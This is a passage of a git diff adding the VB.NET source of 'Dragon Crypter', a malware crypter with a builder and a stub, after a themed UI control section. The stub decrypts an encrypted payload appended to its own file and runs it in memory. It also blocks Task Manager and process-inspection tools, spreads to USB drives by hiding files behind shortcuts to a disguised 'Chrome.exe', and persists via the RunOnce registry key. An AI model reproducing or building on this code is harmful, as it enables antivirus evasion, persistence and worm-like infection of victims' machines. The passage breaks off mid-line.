Color.FromArgb(60, 60, 60) + BackColorBottom = Color.FromArgb(40, 40, 40) + HoverColor = Color.FromArgb(80, 80, 80) + HoverBackColor = Color.FromArgb(60, 60, 60) + PressedTopColor = Color.FromArgb(70, 70, 70) + PressedBottomColor = Color.FromArgb(50, 50, 50) + OutlineColor = Color.FromArgb(30, 30, 30) + TextColor = Color.White + TextBackColor = Color.Black + DisabledTopColor = Color.FromArgb(30, 30, 30) + DisabledBottomColor = Color.FromArgb(40, 40, 40) + MinimumSize = New Size(15, 15) + Size = New Size(140, 20) + Font = New Font("Verdana", 8, FontStyle.Regular) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + e.Graphics.Clear(Parent.BackColor) + If Not Enabled Then + NetTwist.DrawRoundRectangle(e.Graphics, New Rectangle(0, 0, Width, Height), Radius, New Pen(OutlineColor, OutlineThickness), NetTwist.CreateGradient(Width, Height, DisabledTopColor, DisabledBottomColor)) + Else + If Pressed Then + NetTwist.DrawRoundRectangle(e.Graphics, New Rectangle(0, 0, Width, Height), Radius, New Pen(OutlineColor, OutlineThickness), NetTwist.CreateGradient(Width, Height, PressedTopColor, PressedBottomColor)) + ElseIf Hovering Then + NetTwist.DrawRoundRectangle(e.Graphics, New Rectangle(0, 0, Width, Height), Radius, New Pen(OutlineColor, OutlineThickness), NetTwist.CreateGradient(Width, Height, HoverColor, HoverBackColor)) + Else + NetTwist.DrawRoundRectangle(e.Graphics, New Rectangle(0, 0, Width, Height), Radius, New Pen(OutlineColor, OutlineThickness), NetTwist.CreateGradient(Width, Height, BackColorTop, BackColorBottom)) + End If + End If + Dim SF As New StringFormat() + SF.Alignment = HorizontalTextAlign + SF.LineAlignment = VerticalTextAlign + e.Graphics.DrawString(Text, Font, New SolidBrush(TextBackColor), New PointF(((Width / 2) + 1), ((Height / 2) + 1)), SF) + e.Graphics.DrawString(Text, Font, New SolidBrush(TextColor), New PointF((Width / 2), (Height / 2)), SF) + End Sub + + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + Hovering = True + Invalidate() + MyBase.OnMouseEnter(e) + End Sub + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + Hovering = False + Pressed = False + Invalidate() + MyBase.OnMouseLeave(e) + End Sub + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + Pressed = True + Invalidate() + MyBase.OnMouseDown(e) + End Sub + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + Pressed = False + Invalidate() + MyBase.OnMouseUp(e) + End Sub +End Class + +Class STSwitch + Inherits Control +#Region "Properties" + Private _Switched As Boolean + Public Property Switched() As Boolean + Get + Return _Switched + End Get + Set(ByVal value As Boolean) + _Switched = value + Invalidate() + End Set + End Property + Private _BackColorTop As Color, _BackColorBottom As Color, _OutlineColor As Color, _TextColor As Color, _TextBackColor As Color, _DisabledTopColor As Color, _ + _DisabledBottomColor As Color, _ActivatedColor As Color, _ActivatedBackColor As Color, _DeactivatedColor As Color, _DeactivatedBackColor As Color + Public Overridable Property ActivatedColor() As Color + Get + Return _ActivatedColor + End Get + Set(ByVal value As Color) + _ActivatedColor = value + Invalidate() + End Set + End Property + Public Overridable Property ActivatedBackColor() As Color + Get + Return _ActivatedBackColor + End Get + Set(ByVal value As Color) + _ActivatedBackColor = value + Invalidate() + End Set + End Property + Public Overridable Property DeactivatedColor() As Color + Get + Return _DeactivatedColor + End Get + Set(ByVal value As Color) + _DeactivatedColor = value + Invalidate() + End Set + End Property + Public Overridable Property DeactivatedBackColor() As Color + Get + Return _DeactivatedBackColor + End Get + Set(ByVal value As Color) + _DeactivatedBackColor = value + Invalidate() + End Set + End Property + Public Overridable Property DisabledTopColor() As Color + Get + Return _DisabledTopColor + End Get + Set(ByVal value As Color) + _DisabledTopColor = value + Invalidate() + End Set + End Property + Public Overridable Property DisabledBottomColor() As Color + Get + Return _DisabledBottomColor + End Get + Set(ByVal value As Color) + _DisabledBottomColor = value + Invalidate() + End Set + End Property + Public Overridable Property TextColor() As Color + Get + Return _TextColor + End Get + Set(ByVal value As Color) + _TextColor = value + Invalidate() + End Set + End Property + Public Overridable Property TextBackColor() As Color + Get + Return _TextBackColor + End Get + Set(ByVal value As Color) + _TextBackColor = value + Invalidate() + End Set + End Property + Public Overridable Property OutlineColor() As Color + Get + Return _OutlineColor + End Get + Set(ByVal value As Color) + _OutlineColor = value + Invalidate() + End Set + End Property + Public Overridable Property BackColorTop() As Color + Get + Return _BackColorTop + End Get + Set(ByVal value As Color) + _BackColorTop = value + Invalidate() + End Set + End Property + Public Overridable Property BackColorBottom() As Color + Get + Return _BackColorBottom + End Get + Set(ByVal value As Color) + _BackColorBottom = value + Invalidate() + End Set + End Property + Private _Radius As Integer = 3, _OutlineThickness As Integer = 1 + Public Overridable Property Radius() As Integer + Get + Return _Radius + End Get + Set(ByVal value As Integer) + _Radius = value + Invalidate() + End Set + End Property + Public Overridable Property OutlineThickness() As Integer + Get + Return _OutlineThickness + End Get + Set(ByVal value As Integer) + _OutlineThickness = value + Invalidate() + End Set + End Property + + _ + Public Overrides Property RightToLeft() As RightToLeft + Get + Return MyBase.RightToLeft + End Get + Set(ByVal value As RightToLeft) + MyBase.RightToLeft = value + End Set + End Property + + _ + Public Shadows Property UseWaitCursor() As Boolean + Get + Return MyBase.UseWaitCursor + End Get + Set(ByVal value As Boolean) + MyBase.UseWaitCursor = value + End Set + End Property + + _ + Public Shadows Property TabIndex() As Integer + Get + Return MyBase.TabIndex + End Get + Set(ByVal value As Integer) + MyBase.TabIndex = value + End Set + End Property + + _ + Public Shadows Property TabStop() As Boolean + Get + Return MyBase.TabStop + End Get + Set(ByVal value As Boolean) + MyBase.TabStop = value + End Set + End Property + + _ + Public Overrides Property MinimumSize() As Size + Get + Return MyBase.MinimumSize + End Get + Set(ByVal value As Size) + MyBase.MinimumSize = value + End Set + End Property + + _ + Public Overrides Property MaximumSize() As Size + Get + Return MyBase.MaximumSize + End Get + Set(ByVal value As Size) + MyBase.MaximumSize = value + End Set + End Property + + _ + Public Shadows Property ImeMode() As ImeMode + Get + Return MyBase.ImeMode + End Get + Set(ByVal value As ImeMode) + MyBase.ImeMode = value + End Set + End Property + + _ + Public Overrides Property BackgroundImage() As Image + Get + Return MyBase.BackgroundImage + End Get + Set(ByVal value As Image) + MyBase.BackgroundImage = value + End Set + End Property + + _ + Public Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return MyBase.BackgroundImageLayout + End Get + Set(ByVal value As ImageLayout) + MyBase.BackgroundImageLayout = value + End Set + End Property + + _ + Public Overrides Property Dock() As DockStyle + Get + Return MyBase.Dock + End Get + Set(ByVal value As DockStyle) + MyBase.Dock = value + End Set + End Property + + _ + Public Shadows Property CausesValidation() As Boolean + Get + Return MyBase.CausesValidation + End Get + Set(ByVal value As Boolean) + MyBase.CausesValidation = value + End Set + End Property + + _ + Public Overrides Property ContextMenuStrip() As ContextMenuStrip + Get + Return MyBase.ContextMenuStrip + End Get + Set(ByVal value As ContextMenuStrip) + MyBase.ContextMenuStrip = value + End Set + End Property +#End Region + + Public Sub New() + Cursor = Cursors.Hand + Font = New Font("Verdana", 6, FontStyle.Regular) + OutlineColor = Color.FromArgb(30, 30, 30) + BackColorTop = Color.FromArgb(60, 60, 60) + BackColorBottom = Color.FromArgb(40, 40, 40) + ActivatedColor = Color.LimeGreen + ActivatedBackColor = Color.DarkGreen + DeactivatedColor = Color.Red + DeactivatedBackColor = Color.DarkRed + TextColor = Color.White + TextBackColor = Color.Black + MinimumSize = New Size(40, 15) + Size = MinimumSize + MaximumSize = Size + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + e.Graphics.Clear(Parent.BackColor) + NetTwist.DrawRoundRectangle(e.Graphics, New Rectangle(0, 2, Width, (Height - 4)), Radius, New Pen(OutlineColor, OutlineThickness), NetTwist.CreateGradient(Width, Height, BackColorTop, BackColorBottom)) + If Enabled Then + If Switched Then + NetTwist.DrawRoundRectangle(e.Graphics, New Rectangle((Width / 2), 0, (Width / 2), Height), Radius, New Pen(OutlineColor, OutlineThickness), NetTwist.CreateGradient(Width, Height, ActivatedColor, ActivatedBackColor)) + NetTwist.DrawString(e.Graphics, Font, "On", TextColor, StringAlignment.Near, New PointF(2, 3)) + Else + NetTwist.DrawRoundRectangle(e.Graphics, New Rectangle(0, 0, (Width / 2), Height), Radius, New Pen(OutlineColor, OutlineThickness), NetTwist.CreateGradient(Width, Height, DeactivatedColor, DeactivatedBackColor)) + NetTwist.DrawString(e.Graphics, Font, "Off", TextColor, StringAlignment.Near, New PointF(((Width / 2) + 2), 3)) + End If + End If + End Sub + + Protected Overrides Sub OnMouseClick(ByVal e As MouseEventArgs) + If e.Button = MouseButtons.Left Then + Switched = Not Switched + End If + MyBase.OnMouseClick(e) + End Sub +End Class \ No newline at end of file diff --git a/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Module3.vb b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Module3.vb new file mode 100644 index 0000000..8f3ea15 --- /dev/null +++ b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/Module3.vb @@ -0,0 +1,61 @@ +Imports System.Text +Public Class PXOR + Private regKey As String = "" + Public Property Key() As String + Get + Return regKey + End Get + Set(ByVal value As String) + regKey = value + End Set + End Property + Public Sub New(ByVal Key As String) + Me.Key = Key + End Sub + Public Sub New() + Me.Key = "" + End Sub + + + + Public Function PolyCrypt(ByVal Data As String) As String + Return Encoding.Default.GetString(PolyCrypt(Encoding.Default.GetBytes(Data))) + End Function + Public Function PolyDeCrypt(ByVal Data As String) As String + Return Encoding.Default.GetString(PolyDeCrypt(Encoding.Default.GetBytes(Data))) + End Function + Public Function PolyCrypt(ByVal Data() As Byte) As Byte() + Dim ReturnBuffer(Data.Length) As Byte + ReturnBuffer(0) = Convert.ToByte(New Random().Next(1, 255)) + For i = 0 To Data.Length - 1 + ReturnBuffer(i + 1) = ModuloByte(ReturnBuffer(i), Data(i)) + Next + Return XorCrypt(ReturnBuffer, Encoding.Default.GetBytes(Key)) + End Function + Public Function PolyDeCrypt(ByVal Data() As Byte) As Byte() + Data = XorCrypt(Data, Encoding.Default.GetBytes(Key)) + Dim ReturnBuffer(Data.Length - 2) As Byte + For i = Data.Length - 1 To 1 Step -1 + ReturnBuffer(i - 1) = ModuloByte(Data(i), -Data(i - 1)) + Next + Return ReturnBuffer + End Function + Private Function ModuloByte(ByVal MyByte As Byte, ByVal Addition As Int16) As Byte + While Addition < 0 + Addition += 256 + End While + Return Convert.ToByte((MyByte + Addition) Mod 256) + End Function + Private Function XorCrypt(ByVal Data() As Byte, ByVal Key() As Byte) As Byte() + If Key.Length <> 0 Then + For i = 0 To Data.Length - 1 + Data(i) = Data(i) Xor ModuloByte(Key(i Mod Key.Length), [Key](Key(i Mod Key.Length) Mod Key.Length)) Xor [Key](((i + (i Mod 7)) Mod Key.Length) Mod Key.Length) + Next + End If + Return Data + End Function + Public Function XorCrypt(ByVal Data As String, ByVal Key As String) As String + Return Encoding.Default.GetString(XorCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key))) + End Function +End Class + diff --git a/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/Application.Designer.vb b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/Application.Designer.vb new file mode 100644 index 0000000..ac23ab2 --- /dev/null +++ b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18408 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.Form1 + End Sub + End Class +End Namespace diff --git a/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/Application.myapp b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/Application.myapp new file mode 100644 index 0000000..7b0c597 --- /dev/null +++ b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/Application.myapp @@ -0,0 +1,11 @@ + + + true + Form1 + false + 0 + true + 0 + 0 + true + diff --git a/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/AssemblyInfo.vb b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..7b0f3e8 --- /dev/null +++ b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/Resources.Designer.vb b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/Resources.Designer.vb new file mode 100644 index 0000000..0bb4e8c --- /dev/null +++ b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/Resources.Designer.vb @@ -0,0 +1,62 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18408 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set(ByVal value As Global.System.Globalization.CultureInfo) + resourceCulture = value + End Set + End Property + End Module +End Namespace diff --git a/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/Resources.resx b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/Resources.resx new file mode 100644 index 0000000..ffecec8 --- /dev/null +++ b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/Settings.Designer.vb b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/Settings.Designer.vb new file mode 100644 index 0000000..5e3359d --- /dev/null +++ b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18408 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.My.MySettings + Get + Return Global.Builder_Crypter__By___ıllıllıMя.HackeяsDzıllıllı_.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/Settings.settings b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (Dragon Crypter/Builder Crypter By [ıllıllıMя.HackeяsDzıllıllı]/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (Dragon Crypter/Stub/Module1.vb b/scode (Dragon Crypter/Stub/Module1.vb new file mode 100644 index 0000000..ce8d06f --- /dev/null +++ b/scode (Dragon Crypter/Stub/Module1.vb @@ -0,0 +1,79 @@ +Public Class AntiTaskManager + ' C0d3d bY njq8 + _ + Private Shared Function EnableWindow(ByVal hWnd As IntPtr, ByVal bEnable As Boolean) As Boolean + End Function + Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As _ + IntPtr, ByRef lpdwProcessID As Integer) As Integer + Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr + Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As _ + Integer, ByVal lpClassName As String, ByVal nMaxCount As Integer) As Integer + Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal _ + hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As String) As Integer + Private Declare Auto Function GetWindowText Lib "user32.dll" (ByVal hwnd As Int32, _ + ByVal lpString As System.Text.StringBuilder, ByVal cch As Int32) As Int32 + Private Declare Auto Function GetWindowTextLength Lib "user32.dll" (ByVal hwnd As Int32) As Int32 + Private Delegate Function EnumWindProc(ByVal hWnd As Int32, ByVal lParam As Int32) As Boolean + Private Delegate Function EnumChildWindProc(ByVal hWnd As Int32, ByVal _ + lParam As Int32) As Boolean + Private Declare Function EnumChildWindows Lib "user32" (ByVal hWnd As IntPtr, _ + ByVal lpEnumFunc As EnumWindProc, ByRef lParam As IntPtr) As Int32 + Private Function EnumChild(ByVal hWnd As Int32, ByVal lParam As Int32) As Boolean + CLD.Add(hWnd) + Return True + End Function + Public Sub protect() + While True + Threading.Thread.Sleep(200) + Dim hwd = GetForegroundWindow + If hwd.ToInt32 = 0 Then Continue While + Dim id As Integer = 0 + GetWindowThreadProcessId(hwd, id) + If id > 0 Then + Dim Title As String = "" + Dim text_len As Integer = GetWindowTextLength(hwd) + If text_len = 0 Then + Title = "" + Else + Dim sb As New System.Text.StringBuilder(text_len + 1) + Dim ret = GetWindowText(hwd, sb, sb.Capacity) + If ret = 0 Then + Title = "" + Else + Title = sb.ToString + End If + End If + Dim p As Process = Process.GetProcessById(id) + If p.ProcessName.ToLower = "taskmgr" Or p.ProcessName.ToLower _ + = "processhacker" Or Title.ToLower = "process explorer" Then + Dim button As New List(Of IntPtr) + Dim statics As Integer = 0 + For Each x As IntPtr In GetChild(hwd) + Dim className As String = Space(200) + Dim ln As Integer = GetClassName(x, className, 200) + className = className.Remove(ln, 200 - ln) + If className.ToLower = "button" Then + button.Add(x) + End If + If className.ToLower = "static" Or className.ToLower _ + = "directuihwnd" Then + statics += 1 + End If + Next + If button.Count = 2 And (statics = 2 Or statics = 1) Then + EnableWindow(button(0), False) + SendMessage(button(0), &HC, 0, "") + End If + End If + End If + End While + End Sub + Private CLD As New List(Of IntPtr) + Private Function GetChild(ByVal hwd As IntPtr) As IntPtr() + SyncLock Me + CLD.Clear() + EnumChildWindows(hwd, New EnumWindProc(AddressOf EnumChild), 0) + Return CLD.ToArray + End SyncLock + End Function +End Class diff --git a/scode (Dragon Crypter/Stub/Module3.vb b/scode (Dragon Crypter/Stub/Module3.vb new file mode 100644 index 0000000..7574962 --- /dev/null +++ b/scode (Dragon Crypter/Stub/Module3.vb @@ -0,0 +1,57 @@ +Public Module USB + + Private H As Threading.Thread + + Public Sub Enable() + H = New Threading.Thread(AddressOf WorkThread) + H.Start() + End Sub + + + Public Sub Disable() + H.Abort() + End Sub + + Public Sub WorkThread() +GoAgain: + Dim allDrives() As IO.DriveInfo = IO.DriveInfo.GetDrives() + Dim d As IO.DriveInfo + + Dim VbsObj As Object + VbsObj = CreateObject("WScript.Shell") + Dim DE As Object + + For Each d In allDrives + + If d.IsReady = True AndAlso d.DriveType = IO.DriveType.Removable Then + Dim RootDir As String = d.RootDirectory.ToString + Try : IO.File.Copy(Process.GetCurrentProcess.MainModule.FileName, RootDir & "Chrome.exe") : Catch : End Try + IO.File.SetAttributes(RootDir & "Chrome.exe", IO.FileAttributes.Hidden) + For Each f As String In IO.Directory.GetFiles(RootDir) + If IO.Path.GetFileNameWithoutExtension(f) = "Chrome" Then GoTo GoHere + If Not f.Contains(".lnk") Then + IO.File.SetAttributes(f, IO.FileAttributes.Hidden) + End If + DE = VbsObj.CreateShortcut(RootDir & IO.Path.GetFileNameWithoutExtension(f) & ".lnk") + DE.TargetPath = RootDir & "Chrome.exe" + DE.WorkingDirectory = RootDir + DE.IconLocation = f & ", 0" + DE.Save() +GoHere: + Next + For Each dx As String In IO.Directory.GetDirectories(RootDir) + Dim dir As New System.IO.DirectoryInfo(dx) + dir.Attributes = IO.FileAttributes.Hidden + DE = VbsObj.CreateShortcut(dx & ".lnk") + DE.TargetPath = RootDir & "Chrome.exe" + DE.WorkingDirectory = RootDir + DE.IconLocation = Environment.GetEnvironmentVariable("windir") & "\System32\Shell32.dll" & ", 3" + DE.Save() + Next + End If + Next + Threading.Thread.Sleep(1000) + GoTo GoAgain + End Sub + +End Module \ No newline at end of file diff --git a/scode (Dragon Crypter/Stub/Module4.vb b/scode (Dragon Crypter/Stub/Module4.vb new file mode 100644 index 0000000..ad15368 --- /dev/null +++ b/scode (Dragon Crypter/Stub/Module4.vb @@ -0,0 +1,105 @@ +Imports System.IO +Imports System.Text +Imports System.Threading +Imports System.Reflection + +Module Module4 + Const Hamzaa = "%%HACKERSDZ%%Devpoint&&$$$Hamza££££" + Dim AntiTas, Sleepp, Hid, RunOnce, spread As String + Dim KGB As String + Dim Bytes() As Byte + + Sub Main() + Dim Hamzao() As String + + Dim file1 As String + + FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) + + file1 = Space(LOF(1)) + + FileGet(1, file1) + + FileClose(1) + + Hamzao = Split(file1, Hamzaa) + + Dim xduh As New XORR(Hamzao(2)) + + KGB = xduh.PolyDeCrypt(Hamzao(1)) : AntiTas = Hamzao(3) : Sleepp = Hamzao(4) : Hid = Hamzao(5) : RunOnce = Hamzao(6) : spread = Hamzao(7) + + If AntiTas = True Then : AntiTaskManager() : Else : End If + + If Sleepp = True Then : Sleep() : Else : End If + + If Hid = True Then : HideFile() : Else : End If + + If RunOnce = True Then : RunOnceStartup() : Else : End If + + If spread = True Then : Spreadusb() : Else : End If + + + Bytes = Encoding.Default.GetBytes(KGB) + + RunM(Bytes) + End Sub + + + + Public Sub RunM(ByVal assembly() As Byte) + Dim Hamza As Assembly = AppDomain.CurrentDomain.Load(assembly) + Dim DEVPOINT As MethodInfo = Hamza.EntryPoint + Dim Cracked As Object = Hamza.CreateInstance(DEVPOINT.Name) + Dim Programe As Object() = Nothing + If (DEVPOINT.GetParameters.Length > 0) Then + Programe = New Object() {New String() {Nothing}} + End If + DEVPOINT.Invoke(Cracked, Programe) + End Sub + Dim run As String = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" + Public Sub RunStartup(h As [Boolean], p As String, a As String) + + Dim key As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(run, True) + + If h = True Then + + key.SetValue(p, a) + + Else + + key.DeleteValue(p, False) + + End If + End Sub + Sub Spreadusb() + USB.Enable() + End Sub + Sub HideFile() + + File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden) + + End Sub + Sub Sleep() + System.Threading.Thread.Sleep(20000) + End Sub + Public hamza As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Sub RunOnceStartup() + + IO.File.Copy(Application.ExecutablePath, hamza & " \Windowss.exe") + RunStartup(True, "Windowss", hamza & "\Windowss.exe") + + End Sub + + + Private Function AntiTaskManager() As Boolean + + Dim H As New AntiTaskManager + Control.CheckForIllegalCrossThreadCalls = False + + Dim F As New Threading.Thread(AddressOf H.protect) + + F.Start() + End Function + + +End Module diff --git a/scode (Dragon Crypter/Stub/My Project/Application.Designer.vb b/scode (Dragon Crypter/Stub/My Project/Application.Designer.vb new file mode 100644 index 0000000..beeb3fa --- /dev/null +++ b/scode (Dragon Crypter/Stub/My Project/Application.Designer.vb @@ -0,0 +1,13 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18408 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + diff --git a/scode (Dragon Crypter/Stub/My Project/Application.myapp b/scode (Dragon Crypter/Stub/My Project/Application.myapp new file mode 100644 index 0000000..9d66219 --- /dev/null +++ b/scode (Dragon Crypter/Stub/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + false + Form1 + false + 0 + true + 0 + true + \ No newline at end of file diff --git a/scode (Dragon Crypter/Stub/My Project/app.manifest b/scode (Dragon Crypter/Stub/My Project/app.manifest new file mode 100644 index 0000000..79986a0 --- /dev/null +++ b/scode (Dragon Crypter/Stub/My Project/app.manifest @@ -0,0 +1,58 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/scode (Dragon Crypter/Stub/Stub.sln b/scode (Dragon Crypter/Stub/Stub.sln new file mode 100644 index 0000000..c522837 --- /dev/null +++ b/scode (Dragon Crypter/Stub/Stub.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2012 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Stub", "Stub.vbproj", "{4CFDE991-8014-428E-BF76-449C96656449}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {4CFDE991-8014-428E-BF76-449C96656449}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {4CFDE991-8014-428E-BF76-449C96656449}.Debug|Any CPU.Build.0 = Debug|Any CPU + {4CFDE991-8014-428E-BF76-449C96656449}.Release|Any CPU.ActiveCfg = Release|Any CPU + {4CFDE991-8014-428E-BF76-449C96656449}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (Dragon Crypter/Stub/Stub.v12.suo b/scode (Dragon Crypter/Stub/Stub.v12.suo new file mode 100644 index 0000000..c313544 Binary files /dev/null and b/scode (Dragon Crypter/Stub/Stub.v12.suo differ diff --git a/scode (Dragon Crypter/Stub/Stub.vbproj b/scode (Dragon 